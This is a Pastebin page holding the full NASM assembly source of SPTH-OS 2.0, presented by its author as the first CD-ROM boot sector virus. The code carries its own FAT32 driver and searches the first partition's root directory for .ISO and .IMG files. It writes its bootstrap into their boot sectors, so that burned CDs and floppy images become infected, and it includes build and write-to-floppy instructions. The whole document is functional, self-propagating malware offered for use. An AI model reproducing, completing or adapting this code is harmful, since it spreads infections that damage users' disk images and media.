Advertisement
FlyFar

SPTH-OS 2.0 - the world's first boot sector virus for CD-ROMs - Source Code

Jul 4th, 2023
1,441
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 16.29 KB | Cybersecurity | 0 0
  1. ;  SPTH-OS 2.0
  2. ;  by Second Part To Hell/[rRlf]
  3. ;  www.spth.de.vu
  4. ;  spth@priest.com
  5. ;  written from January 2005 - April 2005
  6. ;  in Austria
  7. ;
  8. ;  What you can see below is the world's first bootsectorvirus for CD-ROMs.
  9. ;
  10. ;  The virus infects ISO-9660 El Torito Images in the Root Directory of the
  11. ;  first partition on the Harddisk. It also infects FAT12 .IMG Imagefiles.
  12. ;
  13. ;  El Torito is maybe the most often used Bootable CD-Image, and it's used by
  14. ;  for instance Ahead Nero Burning-ROM.
  15. ;
  16. ;  When the virus infects an ISO image, and the user burns this image to a
  17. ;  CD-ROM, the CD-ROM is infected, and the virus can not be removed anymore.
  18. ;  When the user now forgets the CD-ROM in the drive, and BIOS tests the
  19. ;  CD-Boot, the next images became infected.
  20. ;  
  21. ;
  22. ;  The features:
  23. ;    - First CD-ROM bootsector virus
  24. ;    - Works at CD-ROMs and floppys
  25. ;    - Own FAT32 Filesystem driver
  26. ;    - ISO-9660 El Torito Images infection
  27. ;    - FAT12 Image file infection
  28. ;
  29. ;  The differences to other bootsector virus is, that it does not use the OS's
  30. ;  functions but use it's own Filesystem driver. This was of course a lot of
  31. ;  work, but I guess that it was a success.
  32. ;
  33. ;  There is one known bug: the virus does not infect files at very huge and
  34. ;  full-trashed root directories, as it just searchs files in the first 16
  35. ;  sectors (256 entries), but this is very unusual. (But you have to know that
  36. ;  also deleted files/dirs are saved in the root directory)
  37. ;
  38. ;  Compile:
  39. ;  - - -
  40. ;  del kernel.bin
  41. ;  cls
  42. ;  fasm kernel.asm kernel.bin
  43. ;  rawrite -f kernel.bin -d A -n
  44. ;  pause
  45. ;  shutdown -r -f -t 1 -c "SPTH-OS v2.0"
  46. ;  - - -
  47. ;
  48. ;  Well, the first prove-of-concept CD-ROM bootsector virus has been writen,
  49. ;  now let's move to other projects...
  50. ;
  51. ;
  52. ;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  53.  
  54.     org 0x7c00              ; Offsets + 0x7C00, as the bootsector will be loaded at 0x7C00
  55. stfat:
  56.  jmp         startboot          ; Jump over FAT12 table
  57.  nop
  58.  db 0x4D,0x53,0x44,0x4F,0x53,0x35,0x2E,0x30 ; FAT12 Table
  59.  db 0x00,0x02,0x01,0x01,0x00,0x02,0xE0,0x00
  60.  db 0x40,0x0B,0xF0,0x09,0x00,0x12,0x00,0x02
  61.  db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  62.  db 0x00,0x00,0x00,0x29,0x8C,0x22,0x2F,0x7C
  63.  db 0x4E,0x4F,0x20,0x4E,0x41,0x4D,0x45,0x20
  64.  db 0x20,0x20,0x20,0x46,0x41,0x54,0x31,0x32
  65.  db 0x20,0x20,0x20
  66.  
  67.  
  68. startboot:
  69.     cli                 ; No Interrupts
  70.     mov ax,0x9000           ; Make the stack at 0x9000
  71.     mov ss, ax              ; Stack=0x9000
  72.     mov sp, 0               ; Stackpointer=0x0
  73.     sti                 ; Allow Interrupts
  74.  
  75.     mov [bootdrv], dl           ; Save the bootdevice
  76.  
  77. loada:
  78.     push    ds              ; Save DS
  79.     mov ax, 0               ; Function: Diskdrive reset
  80.     mov dl, [bootdrv]           ; Bootdevice to dl
  81.     int 0x13                ; Execute
  82.     pop ds              ; Get DS
  83.     jc  loada               ; If Error, do it again
  84.  
  85.  
  86. load1:
  87.     mov ax, 0x1000          ; Where to read: 0x1000
  88.     mov es, ax              ; ES=0x1000
  89.     mov bx, 0               ; BX=0
  90.     mov ah, 0x2             ; Read sectors
  91.     mov al, 0x3             ; Read 3 sectors
  92.     mov cx, 2               ; Start at sector 2
  93.     mov dx, 0               ; At current disk (or emulated disk)
  94.     int 0x13                ; Execute
  95.     jc  load1               ; If error, do it again
  96.  
  97.     mov ax, 0x1000          ; AX=0x1000
  98.     mov es, ax              ; ES=0x1000
  99.     mov ds, ax              ; DS=0x1000
  100.     push    ax              ; push 0x1000 to stack
  101.     mov ax, 0               ; AX=0x0
  102.     push    ax              ; push 0x0 to stack
  103.     retf
  104.  
  105.     bootdrv db 0                ; Byte for bootdevice
  106.  
  107. endboot:
  108.     times (512-(endboot-stfat)-2) db 0
  109.     dw 0xAA55
  110.  
  111.     org 0x0         ; Offsets + 0x0
  112. start:
  113.     mov bx, 0x2000      ; bx=0x2000
  114.     mov es, bx          ; Data will be read to ES:BX, ES=0x2000
  115.     mov ds, bx
  116.     xor bx, bx          ; BX=0x0
  117.  
  118.     mov ah, 0x2         ; Read
  119.     mov al, 0x1         ; 1 Sector
  120.     mov cl, 1           ; Start at sector 1
  121.     mov ch, 0           ; Cylinder=0
  122.     mov dh, 0           ; Head=0
  123.     mov dl, 0x80        ; Drive=0x80=HD
  124.     int 0x13            ; Read MBR
  125.  
  126.     xor bx, bx          ; bx=0=Start of MBR
  127.     mov ax, [bx+454]        ; ax=1st Partition's start: Partitiontable (446) + 8 = 454
  128.     mov cl, [bx+447]        ; cl=Sector of 1st Partition in CHS: 446 + 1 = 447
  129.     mov dh, [bx+448]        ; dh=Head of 1st Partition in CHS: 446 + 2 = 448
  130.     mov ch, [bx+449]        ; ch=Cylinder of 1st Partition in CHS: 446 + 3=449
  131.  
  132.     mov bx, 0x1000      ; bx=0x1000
  133.     mov es, bx          ; Data will be read to ES:BX, ES=0x1000
  134.     mov ds, bx
  135.     xor bx, bx          ; BX=0x0
  136.  
  137.     mov [BootSecPar], ax    ; Save 1st Partition's start in LBA
  138.  
  139.     mov ah, 0x2         ; Read
  140.     mov al, 0x10        ; 16 Sector
  141.     mov dl, 0x80        ; Drive=0x80=HD
  142.  
  143.     mov bx, 0x2000      ; bx=0x2000
  144.     mov es, bx          ; Data will be read to ES:BX, ES=0x2000
  145.     mov ds, bx
  146.     xor bx, bx          ; BX=0x0
  147.     int 0x13            ; Read First Sector of Partition
  148.  
  149.     xor bx, bx          ; BX=0x0
  150.     mov ah, [bx+24]     ; ah=BPB_SecPerTrk: For CHS calculation
  151.     mov al, [bx+26]     ; al=BPB_NumHeads: For CHS calculation
  152.  
  153.     mov cl, [bx+13]     ; cl=Sector per cluster
  154.     mov ch, [bx+16]     ; ch=Number of FATs
  155.     mov si, [bx+14]     ; si=Reserved Sectors
  156.     mov ebp, [bx+44]        ; ebp=RootCluster
  157.     mov edx, [bx+36]        ; edx=Sectors per FAT
  158.  
  159.     mov bx, 0x1000      ; bx=0x2000
  160.     mov es, bx          ; Data will be read to ES:BX, ES=0x2000
  161.     mov ds, bx
  162.     xor bx, bx          ; BX=0x0
  163.  
  164.     mov [TotalSector], ah   ; Save BPB_SecPerTrk
  165.     mov [TotalHead], al     ; Save BPB_NumHeads
  166.  
  167.     mov [SecPerClust], cl   ; Save Sector per cluster
  168.     mov [ReservedSec], si   ; Save Reserved Sector
  169.     mov [NumOfFats], ch     ; Save Number Of FATs
  170.     mov [SecPerFat], edx    ; Save Sector Per FAT
  171.     mov [LBA], ebp      ; Save Root Cluster
  172.  
  173.     call    getLBA          ; Get the real sector number
  174.                     ; Returns the real sector number in EAX
  175.  
  176.     call    CHS         ; CHS
  177.  
  178.     mov ah, 0x2         ; Read
  179.     mov al, 0x10        ; 16 Sector
  180.     mov cl, [sector]        ; Start at sector ??
  181.     mov ch, [cylinder]      ; Cylinder=?
  182.     mov dh, [head]      ; Head=??
  183.     mov dl, 0x80        ; Drive=0x80=HD
  184.  
  185.     mov bx, 0x2000      ; bp=0x2000
  186.     mov es, bx          ; Data will be read to ES:BX, ES=0x2000
  187.     mov ds, bx
  188.     xor bx, bx
  189.     int 0x13            ; Read Sectors
  190.  
  191. fat32read:
  192.     mov cx, 0x2000      ; cx=0x2000
  193.     mov es, cx          ; Data will be read to ES:BX, ES=0x2000
  194.     mov ds, cx
  195.  
  196.     mov ah, [bx]        ; ah=First byte of Filename
  197.     test    ah, ah          ; Check if zero. If zero, it's the last entry
  198.     jz  ende_a          ; If it's the last entry of this directory, stopp the filesearching
  199.     cmp ah, 0xE5        ; Check if the byte is 0xE5. If so, it's a deleted file
  200.     je  fat32next       ; If deleted file, get next entry
  201.  
  202.     mov al, [bx+2]      ; al=3rd letter of name
  203.     test    al, al          ; Check if zero
  204.     jz  fat32next       ; If zero, get next entry
  205.  
  206.     mov al, [bx+11]     ; Move the Filetype to AL
  207.     cmp al, 0x10        ; Compaire with 0x10 (=Directory)
  208.     je  fat32next       ; If it's a directory, save the cluster
  209.  
  210.     mov ax, word [bx+8]     ; 9th and 10th Letter to ax
  211.     cmp ax, 'IM'        ; Check if it's 'IM'
  212.     jne fat32noimg      ; If not, no IMG file
  213.     mov al, byte [bx+10]    ; Move 10th letter to al
  214.     cmp al, 'G'         ; Check if 10th letter='G'
  215.     jne fat32noimg      ; If not, no IMG file
  216.     mov eax, [bx+0x1C]      ; eax=Size of file
  217.     cmp eax, (totalend-start)+512   ; Minimum size of file: 1st sector+viruslength
  218.     js  fat32next       ; If not big enough, not infect this file
  219.  
  220.     push    bx
  221.     call    infectionIMG        ; Infection!
  222.     pop bx
  223.  
  224. fat32noimg:
  225.     mov ax, word [bx+8]     ; 9th and 10th Letter to ax
  226.     cmp ax, 'IS'        ; Check if it's 'IS'
  227.     jne fat32noiso      ; If not, no ISO file
  228.     mov al, byte [bx+10]    ; Move 10th letter to al
  229.     cmp al, 'O'         ; Check if 10th letter='S'
  230.     jne fat32noimg      ; If not, no IMG file
  231.  
  232.  
  233.     push    bx
  234.     call    infectionISO        ; Infection!
  235.     pop bx
  236.  
  237. fat32noiso:
  238. fat32next:
  239.     add bx, 0x20        ; Next entry
  240. jmp  fat32read
  241.  
  242.  
  243. infectionIMG:
  244.  
  245.     mov ax, [bx+20]     ; High number of cylinder to ax
  246.     shl eax, 0x10       ; High number in e-part of eax
  247.     mov ax, [bx+26]     ; Low number of cylinder to ax
  248.  
  249.     mov bx, 0x1000      ; ax=0x1000
  250.     mov es, bx          ; Data will be read to ES:BX, ES=0x1000
  251.     mov ds, bx
  252.     xor bx, bx          ; BX=0x0
  253.     mov [LBA], eax      ; DataCluster=EAX
  254.  
  255.     call    getLBA          ; Get the real sector number
  256.                     ; Returns the sector number in EAX
  257.     mov [LBA], eax      ; Save the LBA
  258.     call    CHS         ; Get the CHS of the real sector number
  259.  
  260.     mov ah, 0x2         ; Read
  261.     mov al, 0x1         ; 1 Sector
  262.     mov cl, [sector]        ; Start at sector ??
  263.     mov ch, [cylinder]      ; Cylinder=?
  264.     mov dh, [head]      ; Head=??
  265.     mov dl, 0x80        ; Drive=0x80=HD
  266.  
  267.     mov bx, 0x3000      ; bx=0x3000
  268.     mov es, bx          ; Data will be read to ES:BX, ES=0x3000
  269.     mov ds, bx
  270.     xor bx, bx          ; BX=0x0
  271.  
  272.     int 0x13            ; Read Sectors
  273.  
  274.     mov eax, [bx+0x37]      ; At 0x36: "FAT12"-mark
  275.     cmp eax, 'AT12'     ; Compaire the values
  276.     call    infectimgwrite      ; If equal, infect it
  277. ret                 ; Otherwise return to the file-search procedure
  278.  
  279. infectimgwrite:
  280.     mov ax, 0x1000      ; AX=0x1000 (Virus in Memory)
  281.     mov ds, ax          ; DS=0x1000
  282.     mov ax, 0x3000      ; AX=0x3000 (Bootsector of File in Memory)
  283.     mov es, ax
  284.     mov cx, 62          ; Length of 1st sector data
  285.     mov si, fat12bootsector ; Where the data is
  286.     mov di, 0x3E        ; The FAT12 at 1st sector in IMG file
  287.     rep movsb           ; Move CX bytes from DS:SI to ES:DI
  288.                     ; Move 62 bytes from 0x1000:data1stsector to 0x3000:0x3E
  289.  
  290.     mov bx, 0x3000      ; bx=0x3000
  291.     mov es, bx          ; Data will be read to ES:BX, ES=0x3000
  292.     mov ds, bx
  293.     xor bx, bx          ; BX=0x0
  294.  
  295.     mov ax, 0x3CEB      ; AX=Jmp over FAT12 Table
  296.     mov [bx], ax        ; Write the JMP to the changed sector
  297.  
  298.     mov bx, 0x1000      ; bx=0x1000
  299.     mov es, bx          ; Data will be read to ES:BX, ES=0x1000
  300.     mov ds, bx
  301.     xor bx, bx          ; BX=0x0
  302.  
  303.     mov ah, 0x3         ; Write
  304.     mov al, 0x1         ; 1 Sector
  305.     mov cl, [sector]        ; Start at sector ??
  306.     mov ch, [cylinder]      ; Cylinder=?
  307.     mov dh, [head]      ; Head=??
  308.     mov dl, 0x80        ; Drive=0x80=HD
  309.  
  310.     mov bx, 0x3000      ; bx=0x3000
  311.     mov es, bx          ; Data will be read to ES:BX, ES=0x3000
  312.     mov ds, bx
  313.     xor bx, bx          ; BX=0x0
  314.     int 0x13            ; Write Bootsector
  315.  
  316.     mov bx, 0x1000      ; bx=0x1000
  317.     mov es, bx          ; Data will be read to ES:BX, ES=0x3000
  318.     mov ds, bx
  319.     xor bx, bx          ; BX=0x0
  320.  
  321.     mov cx, 3           ; Do it 3 times
  322.    WriteSecs:
  323.     push    cx
  324.     push    bx
  325.  
  326.     mov eax, [LBA]
  327.  
  328.     mov edx, 4
  329.     sub dx, cx
  330.     add eax, edx        ; Get next sector
  331.     xor edx, edx
  332.  
  333.     call    CHS         ; CHS
  334.     pop bx          ; restore bx
  335.  
  336.     mov ah, 0x3         ; Write
  337.     mov al, 0x1         ; 1 Sector
  338.     mov cl, [sector]        ; Start at sector ??
  339.     mov ch, [cylinder]      ; Cylinder=??
  340.     mov dh, [head]      ; Head=??
  341.     mov dl, 0x80        ; Drive=0x80=HD
  342.     int 0x13            ; Write Sectors
  343.  
  344.     pop cx          ; Restore cx
  345.  
  346.     add bx, 0x200       ; Next sector
  347.    loop WriteSecs
  348. ret
  349.  
  350. infectionISO:
  351.  
  352.     mov ax, [bx+20]     ; High number of cylinder to ax
  353.     shl eax, 0x10       ; High number in e-part of eax
  354.     mov ax, [bx+26]     ; Low number of cylinder to ax
  355.  
  356.     mov bx, 0x1000      ; ax=0x1000
  357.     mov es, bx          ; Data will be read to ES:BX, ES=0x1000
  358.     mov ds, bx
  359.     xor bx, bx          ; BX=0x0
  360.  
  361.     mov [LBA], eax      ; DataCluster=EAX
  362.  
  363.     call    getLBA          ; Get the sector number
  364.     push    eax         ; Save the start of the file
  365.     add eax, 17*4       ; Bootrecord Volume is ALWAYS at CD-ROM Sector 17
  366.                     ; A CD-ROM sector is ALWAYS 0x800
  367.                     ; A HD sector is ALWAYS (?) 0x200 (0x200*4[!]=0x800)
  368.                     ; We now have the sector of the Boot Record Volume of the ISO file at the HD
  369.  
  370.     call    CHS         ; Now calculate the CHS
  371.  
  372.  
  373.     mov ah, 0x2         ; Read
  374.     mov al, 0x1         ; 1 Sector
  375.     mov cl, [sector]        ; Start at sector ??
  376.     mov ch, [cylinder]      ; Cylinder=?
  377.     mov dh, [head]      ; Head=??
  378.     mov dl, 0x80        ; Drive=0x80=HD
  379.  
  380.     mov bx, 0x3000      ; bx=0x3000
  381.     mov es, bx          ; Data will be read to ES:BX, ES=0x3000
  382.     mov ds, bx
  383.     xor bx, bx          ; BX=0x0
  384.  
  385.     int 0x13            ; Read Sector
  386.                     ; Now we have the Boot Record Volume
  387.  
  388.     pop ecx         ; ECX=Start of file
  389.  
  390.     mov eax, [bx+7]     ; Move Byte 7-10 to eax
  391.     cmp eax, 'EL T'     ; Check if it's a bootable ISO file
  392.                     ; String should be 'EL TORITO SPECIFICATION'
  393.     jne EndISOInfection     ; If not: SHIT! ;)
  394.  
  395.     push    ecx         ; Save the Start of the file again
  396.  
  397.     mov eax, [bx+71]        ; Move the 'Absolute pointer to first sector of Boot Catalog' to eax
  398.     mov edx, 4
  399.     mul edx         ; You know: 0x800/0x200=4; Now it's the right sectornumber
  400.  
  401.     add eax, ecx        ; Sector number at HD
  402.  
  403.     mov bx, 0x1000      ; bx=0x1000
  404.     mov es, bx          ; Data will be read to ES:BX, ES=0x1000
  405.     mov ds, bx
  406.     xor bx, bx          ; BX=0x0
  407.  
  408.  
  409.     call    CHS         ; Get the CHS
  410.    
  411.     mov ah, 0x2         ; Read
  412.     mov al, 0x1         ; 1 Sector
  413.     mov cl, [sector]        ; Start at sector ??
  414.     mov ch, [cylinder]      ; Cylinder=?
  415.     mov dh, [head]      ; Head=??
  416.     mov dl, 0x80        ; Drive=0x80=HD
  417.  
  418.     mov bx, 0x3000      ; bx=0x3000
  419.     mov es, bx          ; Data will be read to ES:BX, ES=0x3000
  420.     mov ds, bx
  421.     xor bx, bx          ; BX=0x0
  422.  
  423.     int 0x13            ; Read Sector
  424.                     ; Now we have the Boot Catalog
  425.  
  426.     pop ecx         ; Get Start of the file
  427.     mov al, [bx+32]     ; AL=Boot Indicator: 0x88=bootable
  428.     cmp al, 0x88        ; Check if it's bootable
  429.     jne EndISOInfection     ; If not: SHIT! ;)
  430.  
  431.     mov eax, [bx+40]        ; This is the start sector of the virtual Disk
  432.     mov edx, 4          ; EDX=4
  433.     mul edx         ; EAX=The real Sector in the file
  434.     add eax, ecx        ; EAX=The Sector of it on the HD
  435.  
  436.     mov bx, 0x1000      ; bx=0x1000
  437.     mov es, bx          ; Data will be read to ES:BX, ES=0x1000
  438.     mov ds, bx
  439.     xor bx, bx          ; BX=0x0
  440.  
  441.     mov [LBA], eax
  442.     call    CHS         ; Get the CHS
  443.  
  444.     mov ah, 0x2         ; Read
  445.     mov al, 0x1         ; 1 Sector
  446.     mov cl, [sector]        ; Start at sector ??
  447.     mov ch, [cylinder]      ; Cylinder=?
  448.     mov dh, [head]      ; Head=??
  449.     mov dl, 0x80        ; Drive=0x80=HD
  450.  
  451.     mov bx, 0x3000      ; bx=0x3000
  452.     mov es, bx          ; Data will be read to ES:BX, ES=0x3000
  453.     mov ds, bx
  454.     xor bx, bx          ; BX=0x0
  455.  
  456.     int 0x13            ; Read Sector
  457.                     ; Now we have the Bootsector of the virtual Disk
  458.  
  459.     call    infectimgwrite      ; Infect the file!!!
  460.  
  461. EndISOInfection:
  462. ret
  463.  
  464.  
  465. ende_a:
  466.     mov ax, 0x1000      ; ax=0x1000
  467.     mov es, ax          ; Data will be read to ES:BX, ES=0x1000
  468.     mov ds, ax
  469.     xor bx, bx          ; BX=0x0
  470.  
  471.     mov cx, 116         ; 116 Letters
  472.     mov si, endmsg      ; si=Offset of String
  473.     jmp eee
  474.    putstra:
  475.     lodsb               ; [si]->al
  476.     mov ah, 0xE         ; ah=0xE: Print Letter to Screen
  477.     mov bx, 0x7
  478.     int 0x10            ; call
  479.    loop putstra             ; Next Letter
  480.     mov al, 13
  481.     mov ah, 0xE
  482.     mov bx, 0x7
  483.     int 0x10
  484.     mov al, 10
  485.     mov ah, 0xE
  486.     mov bx, 0x7
  487.     int 0x10
  488.    ret
  489. eee: call putstra
  490.     mov ah, 0           ; ah=0: Get Key BIOS Function
  491.     int 0x16            ; Call
  492.     jmp reboot          ; Now let's reboot!
  493.  
  494.  
  495. CHS:
  496.     xor ebx, ebx        ; ebx=0
  497.     mov bl, [TotalSector]   ; Total Sectors
  498.     div ebx         ; EDX:EAX DIV EBX=
  499.                     ; EAX= Quotient
  500.                     ; EDX= Reminder
  501.     inc dx          ; Reminder+1=Sector
  502.     mov [sector], dl        ; Sector=Reminder (not more than 0xFF)
  503.     mov [cylhead], eax
  504.  
  505.     mov edx, eax        ; EDX=Quotient
  506.     shr edx, 16         ; DX=High number of quotient
  507.  
  508.     xor bx, bx          ; BX=0
  509.     mov bl, [TotalHead]     ; Total Heads
  510.     div bx          ; DX:AX DIV BX=
  511.                     ; AX= Quotient
  512.                     ; DX= Reminder
  513.  
  514.     mov [head], dl      ; Head=Reminder
  515.     mov [cylinder], al      ; Cylinder=Quotient
  516.     shl ah, 6           ; 0000 00?? -> ??00 0000
  517.     mov al, [sector]        ; high two bits of cylinder (bits 6-7, hard disk only)
  518.     or  al, ah          ; 00xx xxxx -> ??xx xxxx
  519.     mov [sector], al        ; Save!
  520. ret
  521.  
  522. getLBA:
  523.     ;; Find Data:
  524.     ;; (boot sector)+(number of fats)*(sectors per fat)+(reserved sectors)+(Data cluster-2)*(sectors per cluster)
  525.     ;; DataCluster saved in LBA
  526.  
  527.     mov eax, [SecPerFat]    ; eax=SecPerFat
  528.     xor bx, bx          ; bx=0
  529.     mov bl, [NumOfFats]     ; bl=NumOfFats
  530.     mul bx          ; AX*BX=DX:AX
  531.  
  532.     mov [FATCalc], ax       ; Save the result
  533.  
  534.     xor eax, eax        ; EAX=0
  535.     mov al, [SecPerClust]   ; al=SecPerClust
  536.     mov ebx, [LBA]      ; ebx=DataCluster
  537.     sub ebx, 2          ; DataCluster-=2
  538.  
  539.     mul ebx         ; EAX*EBX=EDX:EAX
  540.  
  541.     mov [ClustCalc], eax    ; Save the result
  542.  
  543.     xor eax, eax        ; eax=0
  544.     mov ax, [BootSecPar]    ; AX=Sectors before the 1st partition
  545.     xor ebx, ebx        ; ebx=0
  546.     mov bx, [FATCalc]       ; BX=(number of fats)*(sectors per fat)
  547.     add eax, ebx        ; AX+=BX
  548.     mov bx, [ReservedSec]   ; BX=Reserved Sectors
  549.     add eax, ebx        ; AX+=BX
  550.     mov ebx, [ClustCalc]    ; BX=(Root Cluster-2)*(Sectors per Cluster)
  551.     add eax, ebx        ; AX+=BX
  552.  
  553.     xor edx, edx        ; EDX=0
  554. ret
  555.  
  556.     endmsg      db 13,10,13,10,13,10
  557.             db 'Thank you for using SPTH-OS 2.0!',13,10
  558.             db 'This may spread better then Windows(c)(r)tm ;-)',13,10
  559.             db 'by Second Part To Hell/rRlf'
  560.  
  561.     sector      db 0x0
  562.     head        db 0x0
  563.     cylinder    db 0x0, 0x0
  564.     cylhead     dd 0x0
  565.     bit2cyl     db 0x0
  566.     LBA     dd 0x0
  567.     BootSecPar  dw 0x0
  568.  
  569.     TotalSector db 0x0          ; BPB_SecPerTrk: For CHS calculation
  570.     TotalHead   db 0x0          ; BPB_NumHeads: For CHS calculation
  571.  
  572.     SecPerClust db 0x0          ; Offset 13
  573.     ReservedSec dw 0x0          ; Offset 14
  574.     NumOfFats   db 0x0          ; Offset 16
  575.     SecPerFat   dd 0x0          ; Offset 36
  576.  
  577.     FATCalc     dw 0x0          ; NumOfFats*SecPerFat (should not be greater than 0xFFFF)
  578.     ClustCalc   dd 0x0          ; (RootClust-2)*(SecPerClust)
  579.  
  580. fat12bootsector:
  581.     db 0xFA,0xB8,0x00,0x90,0x8E,0xD0,0xBC,0x00
  582.     db 0x00,0xFB,0x88,0x16,0x7C,0x7C,0x1E,0xB8
  583.     db 0x00,0x00,0x8A,0x16,0x7C,0x7C,0xCD,0x13
  584.     db 0x1F,0x72,0xF3,0xB8,0x00,0x10,0x8E,0xC0
  585.     db 0xBB,0x00,0x00,0xB4,0x02,0xB0,0x03,0xB9
  586.     db 0x02,0x00,0xBA,0x00,0x00,0xCD,0x13,0x72
  587.     db 0xEA,0xB8,0x00,0x10,0x8E,0xC0,0x8E,0xD8
  588.     db 0x50,0xB8,0x00,0x00,0x50,0xCB
  589.  
  590. reboot:
  591.     db  0xEA            ; Hexdump for reboot: jmp 00FF:FF00
  592.     dw  0x0
  593.     dw  0xFFFF
  594.  
  595. totalend:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement